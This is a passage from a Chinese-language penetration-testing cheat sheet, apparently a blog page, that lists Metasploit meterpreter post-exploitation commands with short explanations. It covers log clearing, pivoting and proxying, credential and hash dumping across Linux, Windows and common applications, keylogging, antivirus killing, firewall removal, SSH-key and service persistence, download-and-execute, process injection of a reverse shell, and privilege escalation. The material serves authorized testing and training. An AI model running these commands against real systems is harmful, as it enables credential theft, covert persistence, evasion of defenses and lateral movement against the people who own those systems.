<h2 id="截屏"><a href="#截屏" class="headerlink" title="截屏"></a>截屏</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">screenshot <span class="comment"># 截屏</span></span><br><span class="line">use espia <span class="comment"># 使用espia模块</span></span><br><span class="line">screengrab <span class="comment"># 截屏</span></span><br></pre></td></tr></table></figure>
<h2 id="清除日志"><a href="#清除日志" class="headerlink" title="清除日志"></a>清除日志</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">clearav <span class="comment"># 清除windows中的应用程序日志、系统日志、安全日志</span></span><br></pre></td></tr></table></figure>
<h1 id="后渗透脚本"><a href="#后渗透脚本" class="headerlink" title="后渗透脚本"></a>后渗透脚本</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">meterpreter > run -h</span><br><span class="line">Usage: run <script> [arguments]</span><br><span class="line"></span><br><span class="line">Executes a ruby script or Metasploit Post module <span class="keyword">in</span> the context of the</span><br><span class="line">meterpreter session. Post modules can take arguments <span class="keyword">in</span> var=val format.</span><br><span class="line">Example: run post/foo/bar BAZ=abcd</span><br><span class="line"></span><br><span class="line"><span class="comment"># run tab两下展示当前meterpreter所有可用脚本</span></span><br><span class="line">meterpreter > run</span><br></pre></td></tr></table></figure>
<h2 id="添加路由,横向渗透"><a href="#添加路由,横向渗透" class="headerlink" title="添加路由,横向渗透"></a>添加路由,横向渗透</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">meterpreter > run autoroute -h</span><br><span class="line"></span><br><span class="line">[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.</span><br><span class="line">[!] Example: run post/multi/manage/autoroute OPTION=value [...]</span><br><span class="line">[*] Usage: run autoroute [-r] <span class="_">-s</span> subnet -n netmask</span><br><span class="line">[*] Examples:</span><br><span class="line">[*] run autoroute <span class="_">-s</span> 10.1.1.0 -n 255.255.255.0 <span class="comment"># Add a route to 10.10.10.1/255.255.255.0</span></span><br><span class="line">[*] run autoroute <span class="_">-s</span> 10.10.10.1 <span class="comment"># Netmask defaults to 255.255.255.0</span></span><br><span class="line">[*] run autoroute <span class="_">-s</span> 10.10.10.1/24 <span class="comment"># CIDR notation is also okay</span></span><br><span class="line">[*] run autoroute -p <span class="comment"># Print active routing table</span></span><br><span class="line">[*] run autoroute <span class="_">-d</span> <span class="_">-s</span> 10.10.10.1 <span class="comment"># Deletes the 10.10.10.1/255.255.255.0 route</span></span><br><span class="line">[*] Use the <span class="string">"route"</span> and <span class="string">"ipconfig"</span> Meterpreter commands to learn about available routes</span><br><span class="line">[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module</span><br></pre></td></tr></table></figure>
<p>Socks 代理<br>可参考:<a href="https://www.freebuf.com/articles/network/125278.html" target="_blank" rel="external">https://www.freebuf.com/articles/network/125278.html</a><br>只有在目标设备添加完路由后才可以通过 msf 自带的 socks4a 模块进行 socks4 代理转发</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">use auxiliary/server/socks4a</span><br><span class="line"><span class="built_in">set</span> srvhost 127.0.0.1</span><br><span class="line"><span class="built_in">set</span> srvport 2000</span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<h2 id="各平台通用"><a href="#各平台通用" class="headerlink" title="各平台通用"></a>各平台通用</h2><h3 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 利用Metasploit < 4.4版本的'pcap_log'插件提权</span></span><br><span class="line">run post/multi/escalate/metasploit_pcaplog</span><br><span class="line"></span><br><span class="line"><span class="comment"># 尝试查找本地提权漏洞</span></span><br><span class="line">run post/multi/recon/<span class="built_in">local</span>_exploit_suggester</span><br></pre></td></tr></table></figure>
<h3 id="Gather"><a href="#Gather" class="headerlink" title="Gather"></a>Gather</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 收集所有用户ssh凭证</span></span><br><span class="line">run post/multi/gather/ssh_creds</span><br><span class="line"><span class="comment"># 通过 VirusTotal 检查某个文件是不是恶意文件</span></span><br><span class="line">run post/multi/gather/check_malware REMOTEFILE=/var/www/html/phpinfo.php</span><br><span class="line"><span class="comment"># 收集 Mozilla Thunderbird 下载文件的凭证</span></span><br><span class="line">run post/multi/gather/thunderbird_creds</span><br><span class="line"><span class="comment"># 收集 chrome cookies</span></span><br><span class="line">run post/multi/gather/chrome_cookies</span><br><span class="line"><span class="comment"># 收集 tomcat 敏感信息</span></span><br><span class="line">run post/multi/gather/tomcat_gather</span><br><span class="line"><span class="comment"># 收集 DbVisualizer 的 dbvis.xml 记录的敏感信息</span></span><br><span class="line">run post/multi/gather/dbvis_enum</span><br><span class="line"><span class="comment"># 收集 Ubiquiti UniFi 敏感信息</span></span><br><span class="line">run post/multi/gather/ubiquiti_unifi_backup</span><br><span class="line"><span class="comment"># 根据字典枚举子域名</span></span><br><span class="line">run post/multi/gather/dns_bruteforce DOMAIN=myt0.com NAMELIST=wordlist</span><br><span class="line"><span class="comment"># 收集可用的无线网,通过访问google查询物理地址</span></span><br><span class="line">run post/multi/gather/wlan_geolocate</span><br><span class="line"><span class="comment"># dns反查</span></span><br><span class="line">run post/multi/gather/dns_reverse_lookup</span><br><span class="line"><span class="comment"># 关闭指定session,用于收尾工作</span></span><br><span class="line">run post/multi/general/close</span><br><span class="line"><span class="comment"># 收集域名SRV记录</span></span><br><span class="line">run post/multi/gather/dns_srv_lookup</span><br><span class="line"><span class="comment"># 执行任意命令</span></span><br><span class="line">run post/multi/general/execute COMMAND=id</span><br><span class="line"><span class="comment"># 查找所有VirtualBox虚拟机</span></span><br><span class="line">run post/multi/gather/enum_vbox</span><br><span class="line"><span class="comment"># 通过wall或者write发送信息给指定用户</span></span><br><span class="line">run post/multi/general/wall USERS= MESSAGE=</span><br><span class="line"><span class="comment"># 输出系统环境变量</span></span><br><span class="line">run post/multi/gather/env</span><br><span class="line"><span class="comment"># 收集 FileZilla FTP 客户端凭证信息</span></span><br><span class="line">run post/multi/gather/filezilla_client_cred</span><br><span class="line"><span class="comment"># 查找所有VMWare 虚拟机</span></span><br><span class="line">run post/multi/gather/find_vmx</span><br><span class="line"><span class="comment"># 收集firefox凭证</span></span><br><span class="line">run post/multi/gather/firefox_creds</span><br><span class="line"><span class="comment"># 收集所有用户 .gnupg 目录下的凭证信息</span></span><br><span class="line">run post/multi/gather/gpg_creds</span><br><span class="line"><span class="comment"># 从 GRUB bootloader 配置文件收集 GRUB 密码</span></span><br><span class="line">run post/multi/gather/grub_creds</span><br><span class="line"><span class="comment"># 收集jboss管理员密码,适用版本4,5,6</span></span><br><span class="line">run post/multi/gather/jboss_gather</span><br><span class="line"><span class="comment"># 收集jenkins密码</span></span><br><span class="line">run post/multi/gather/jenkins_gather</span><br><span class="line"><span class="comment"># 收集LastPass凭证信息</span></span><br><span class="line">run post/multi/gather/lastpass_creds</span><br><span class="line"><span class="comment"># 从一个文件中读取shell命令并执行</span></span><br><span class="line">run post/multi/gather/multi_<span class="built_in">command</span> REOURCE=cmd.txt</span><br><span class="line"><span class="comment"># 收集所有用户 settings.xml</span></span><br><span class="line">run post/multi/gather/maven_creds</span><br><span class="line"><span class="comment"># 收集 Pidgin IM 客户端凭证</span></span><br><span class="line">run post/multi/gather/pidgin_cred</span><br><span class="line"><span class="comment"># 使用目标机器ping命令扫描</span></span><br><span class="line">run post/multi/gather/ping_sweep RHOSTS=192.168.99.1/24</span><br><span class="line"><span class="comment"># 收集 Remmina 记录的RDP,VNC凭证</span></span><br><span class="line">run post/multi/gather/remmina_creds</span><br><span class="line"><span class="comment"># 收集 .pgpass or pgpass.conf 中的凭证</span></span><br><span class="line">run post/multi/gather/pgpass_creds</span><br></pre></td></tr></table></figure>
<h3 id="Manage"><a href="#Manage" class="headerlink" title="Manage"></a>Manage</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 利用Dbvisulaizer命令行执行shell增加一个数据库用户,目前只支持mysql</span></span><br><span class="line">run post/multi/manage/dbvis_add_db_admin</span><br><span class="line"></span><br><span class="line"><span class="comment"># 利用Dbvisulaizer命令行查询数据库</span></span><br><span class="line">run post/multi/manage/dbvis_query QUERY=</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除浏览器中HSTS数据库</span></span><br><span class="line">run post/multi/manage/hsts_eraser</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行指定文件内容记录的多个POST模块,记录格式 module arg1=v1,arg2=v2</span></span><br><span class="line">run post/multi/manage/multi_post</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用目标机器上的 open 或者 xdg-open这样的命令(即默认打开)打开一个URI</span></span><br><span class="line">run post/multi/manage/open URI=</span><br><span class="line"></span><br><span class="line"><span class="comment"># 播放youtube视频</span></span><br><span class="line">run post/multi/manage/play_youtube VID=</span><br><span class="line"></span><br><span class="line"><span class="comment"># 记录音频信息,对于非windows平台,请使用java meterpreter</span></span><br><span class="line">run post/multi/manage/record_mic</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启或关闭屏幕记录</span></span><br><span class="line">run post/multi/manage/screensaver</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置桌面背景</span></span><br><span class="line">run post/multi/manage/<span class="built_in">set</span>_wallpaper</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用目标系统自带的脚本程序创建一个反向TCP shell</span></span><br><span class="line">run post/multi/manage/system_session</span><br><span class="line"></span><br><span class="line"><span class="comment"># 上传并执行</span></span><br><span class="line">run post/multi/manage/upload_<span class="built_in">exec</span> LPATH=shell RPATH=/tmp/shell ARGS=参数</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建zip压缩,linux上会使用zip,windows上会使用7zip</span></span><br><span class="line">run post/multi/manage/zip</span><br><span class="line"></span><br><span class="line"><span class="comment"># 通过一系列端口创建TCP或UDP通道,可用于探测防火墙规则</span></span><br><span class="line">run post/multi/recon/multiport_egress_traffic</span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试当前用户的sudo命令及配置,对于每个命令会测试权限要求</span></span><br><span class="line">run post/multi/recon/sudo_commands</span><br></pre></td></tr></table></figure>
<h2 id="linux"><a href="#linux" class="headerlink" title="linux"></a>linux</h2><h3 id="Gather-1"><a href="#Gather-1" class="headerlink" title="Gather"></a>Gather</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 检查是不是容器</span></span><br><span class="line">run post/linux/gather/checkcontainer</span><br><span class="line"><span class="comment"># 检查是不是虚拟机</span></span><br><span class="line">run post/linux/gather/checkvm</span><br><span class="line"><span class="comment"># 枚举可以使用的命令</span></span><br><span class="line">run post/linux/gather/enum_commands</span><br><span class="line"><span class="comment"># 收集配置文件</span></span><br><span class="line">run post/linux/gather/enum_configs</span><br><span class="line"><span class="comment"># 枚举NagiosXI凭证</span></span><br><span class="line">run post/linux/gather/enum_nagios_xi</span><br><span class="line"><span class="comment"># 收集网络,防火墙,DNS,SSH,网卡等信息</span></span><br><span class="line">run post/linux/gather/enum_network</span><br><span class="line"><span class="comment"># 收集防护软件的信息</span></span><br><span class="line">run post/linux/gather/enum_protections</span><br><span class="line"><span class="comment"># 收集无线网络凭证,需要root权限</span></span><br><span class="line">run post/linux/gather/enum_psk</span><br><span class="line"><span class="comment"># 收集系统信息,包括用户,安装软件,运行服务,定时脚本,磁盘信息,log文件,setuid/setgid,CPU漏洞</span></span><br><span class="line">run post/linux/gather/enum_system</span><br><span class="line"><span class="comment"># 收集history文件信息,包括.ash_history,.bash_history各种shell,mysql,psql,vim等</span></span><br><span class="line">run post/linux/gather/enum_users_<span class="built_in">history</span></span><br><span class="line"><span class="comment"># 收集xchat的配置文件,凭证等</span></span><br><span class="line">run post/linux/gather/enum_xchat</span><br><span class="line"><span class="comment"># 收集当前用户gnome-commander记录的明文密码</span></span><br><span class="line">run post/linux/gather/gnome_commander_creds</span><br><span class="line"><span class="comment"># 使用libgnome-keyring收集当前用户网络密码,需要root权限运行</span></span><br><span class="line">run post/linux/gather/gnome_keyring_dump</span><br><span class="line"><span class="comment"># 导出linux系统上所有的密码hash,需要root权限运行</span></span><br><span class="line">run post/linux/gather/hashdump</span><br><span class="line"><span class="comment"># 收集 /etc/fstab 中 mount.cifs/mount.smbfs 记录的凭证信息</span></span><br><span class="line">run post/linux/gather/mount_cifs_creds</span><br><span class="line"><span class="comment"># 收集openvpn进程的凭证信息</span></span><br><span class="line">run post/linux/gather/openvpn_credentials</span><br><span class="line"><span class="comment"># 收集phpmyadmin数据库凭证信息</span></span><br><span class="line">run post/linux/gather/phpmyadmin_credsteal</span><br><span class="line"><span class="comment"># 收集pptp vpn 客户端,服务端,密码信息</span></span><br><span class="line">run post/linux/gather/pptpd_chap_secrets</span><br><span class="line"><span class="comment"># 收集tor隐藏服务配置信息,根据查找到的torrc文件搜索,需要root权限运行</span></span><br><span class="line">run post/linux/gather/tor_hiddenservices</span><br></pre></td></tr></table></figure>
<h3 id="Manage-1"><a href="#Manage-1" class="headerlink" title="Manage"></a>Manage</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># DNS欺骗</span></span><br><span class="line">run post/linux/manage/dns_spoofing</span><br><span class="line"><span class="comment"># 运行一个 Pseudo-Shell</span></span><br><span class="line">run post/linux/manage/pseudo_shell</span><br><span class="line"><span class="comment"># 下载并运行某个程序</span></span><br><span class="line">run post/linux/manage/download_<span class="built_in">exec</span></span><br><span class="line"><span class="comment"># 添加一个ssh key到指定的用户(或者全部用户),用于权限维持</span></span><br><span class="line">run post/linux/manage/sshkey_persistence</span><br><span class="line"><span class="comment"># 移除所有iptables规则</span></span><br><span class="line">run post/linux/manage/iptables_removal</span><br></pre></td></tr></table></figure>
<h2 id="windows"><a href="#windows" class="headerlink" title="windows"></a>windows</h2><h3 id="命令列表"><a href="#命令列表" class="headerlink" title="命令列表"></a>命令列表</h3><p>很多 meterpreter 自带的脚本命令已经废弃,替换为 post 模块。</p>
<p><code>search type:post windows</code> 查看</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br></pre></td><td class="code"><pre><span class="line">run arp_scanner -r 192.168.99.1/24 <span class="comment"># 利用arp进行存活主机扫描</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查是否是虚拟机 请使用 post/windows/gather/checkvm</span></span><br><span class="line">run checkvm</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取用户hash</span></span><br><span class="line">run credcollect -p <opt> The SMB port used to associate credentials.</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取域管理账户列表</span></span><br><span class="line">run domain_list_gen</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从最近文档的.lnk文件收集信息</span></span><br><span class="line">run dumplinks</span><br><span class="line"></span><br><span class="line"><span class="comment"># 已废弃,请使用multi_meter_inject</span></span><br><span class="line">run duplicate</span><br><span class="line"></span><br><span class="line"><span class="comment"># 已废弃,请使用 post/windows/gather/enum_chrome</span></span><br><span class="line">run enum_chrome</span><br><span class="line"></span><br><span class="line"><span class="comment"># 已废弃,请使用 post/windows/gather/enum_firefox</span></span><br><span class="line">run enum_firefox</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出所有登录用户, 请使用 post/windows/gather/enum_logged_on_users</span></span><br><span class="line">run enum_logged_on_users</span><br><span class="line"></span><br><span class="line"><span class="comment"># 枚举Powershell和WSH配置,请使用 post/windows/gather/enum_powershell_env</span></span><br><span class="line">run enum_powershell_env</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出putty配置,请使用 post/windows/gather/enum_putty_saved_sessions</span></span><br><span class="line">run enum_putty</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出共享目录信息,请使用 post/windows/gather/enum_shares</span></span><br><span class="line">run enum_shares</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出 VMware 虚拟机及相关软件</span></span><br><span class="line">run enum_vmware</span><br><span class="line"></span><br><span class="line"><span class="comment"># windows事件日志管理,查询</span></span><br><span class="line">run event_manager</span><br><span class="line"></span><br><span class="line"><span class="comment"># 收集config信息,请使用 post/windows/gather/enum_files</span></span><br><span class="line">run file_collector</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出windows已安装软件,请使用 post/windows/gather/enum_applications.</span></span><br><span class="line">run get_application_list</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取环境变量 请使用 post/multi/gather/env</span></span><br><span class="line">run get_env</span><br><span class="line"></span><br><span class="line"><span class="comment"># 收集filezilla凭证,请使用 post/windows/gather/credentials/filezilla_server</span></span><br><span class="line">run get_filezilla_creds</span><br><span class="line"></span><br><span class="line"><span class="comment"># 已废弃,请使用 post/multi/manage/autoroute</span></span><br><span class="line">run get_<span class="built_in">local</span>_subnets</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取已配置的服务用户名密码</span></span><br><span class="line">run get_pidgin_creds</span><br><span class="line"></span><br><span class="line"><span class="comment"># 收集snmp,请使用 post/windows/gather/enum_snmp</span></span><br><span class="line">run get_valid_community</span><br><span class="line"></span><br><span class="line"><span class="comment"># 管理fireall,av等,请使用 post/windows/manage/killav</span></span><br><span class="line">run getcountermeasure</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启RDP,请使用 post/windows/manage/enable_rdp</span></span><br><span class="line">run getgui</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启telnet</span></span><br><span class="line">run gettelnet -u <username> -p <password></span><br><span class="line"></span><br><span class="line"><span class="comment"># 收集VNC凭证,请使用 post/windows/gather/credentials/vnc</span></span><br><span class="line">run getvncpw</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取SMB hash,请使用 post/windows/gather/smart_hashdump</span></span><br><span class="line">run hashdump</span><br><span class="line"></span><br><span class="line"><span class="comment"># 写入hosts文件,请使用 post/windows/manage/inject_host</span></span><br><span class="line">run hostsedit</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启键盘记录,请使用 post/windows/capture/keylog_recorder,需要system</span></span><br><span class="line">run keylogrecorder</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/manage/killav</span></span><br><span class="line">run killav</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置开机启动payload,请使用 exploit/windows/local/persistence</span></span><br><span class="line">run metsvc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 将当前session转移到另一个进程,请使用 post/windows/manage/migrate</span></span><br><span class="line">run migrate</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行命令并返回</span></span><br><span class="line">run multi_console_<span class="built_in">command</span> -c ls</span><br><span class="line"></span><br><span class="line"><span class="comment"># 植入reverse tcp meterpreter到一个指定进程</span></span><br><span class="line">run multi_meter_inject</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行文件中的多个命令,每条命令一行,也可以 -c "ls;pwd;" 执行多个</span></span><br><span class="line">run multicommand</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行包含多个meterpreter脚本指令或后渗透脚本的文件,每条命令一行,也可以 -c "enum_chrome;enum_firefox" 执行多个</span></span><br><span class="line">run multiscript</span><br><span class="line"></span><br><span class="line"><span class="comment"># dns,ping 枚举</span></span><br><span class="line">run netenum</span><br><span class="line"></span><br><span class="line"><span class="comment"># 捕获网卡网络数据包,请使用 post/windows/manage/rpcapd_start</span></span><br><span class="line">run packetrecorder</span><br><span class="line"></span><br><span class="line"><span class="comment"># 熊猫杀软2007提权漏洞</span></span><br><span class="line">run panda_2007_pavsrv51</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 exploit/windows/local/persistence</span></span><br><span class="line">run persistence</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 exploit/windows/local/service_permissions,尝试利用替换服务从现有administrator权限提升至system</span></span><br><span class="line">run pml_driver_config</span><br><span class="line"></span><br><span class="line"><span class="comment"># 通过powershell导出sam hash</span></span><br><span class="line">run powerdump</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/gather/enum_prefetch,该模块从WinXP,Win2k3和Win7系统收集预取文件信息以及相关注册表项的当前值。从每个预取文件中,我们将收集上次执行的文件时间(转换为utc),文件路径哈希,运行计数,文件名和执行路径。</span></span><br><span class="line">run prefetchtool</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看进程内存 run process_memdump putty.exe,run process_memdump -p [pid]</span></span><br><span class="line">run process_memdump</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/gather/wmic_command,执行wmic命令</span></span><br><span class="line">run remotewinenum</span><br><span class="line">run scheduleme</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 exploit/windows/local/ms10_092_schelevator 用于提权</span></span><br><span class="line">run schelevator</span><br><span class="line">run schtasksabuse</span><br><span class="line"></span><br><span class="line"><span class="comment"># 收集共享,注册表,密码hash</span></span><br><span class="line">run scraper</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/escalate/screen_unlock,通过注入代码到lsass.exe实现解锁,可能导致死机或重启</span></span><br><span class="line">run screen_unlock</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/gather/screen_spy,定时截取屏幕,以判断是否有人在使用</span></span><br><span class="line">run screenspy</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 post/windows/gather/enum_files,搜索任意文件</span></span><br><span class="line">run search_dwld</span><br><span class="line"></span><br><span class="line"><span class="comment"># 服务管理</span></span><br><span class="line">run service_manager</span><br><span class="line"></span><br><span class="line"><span class="comment"># 请使用 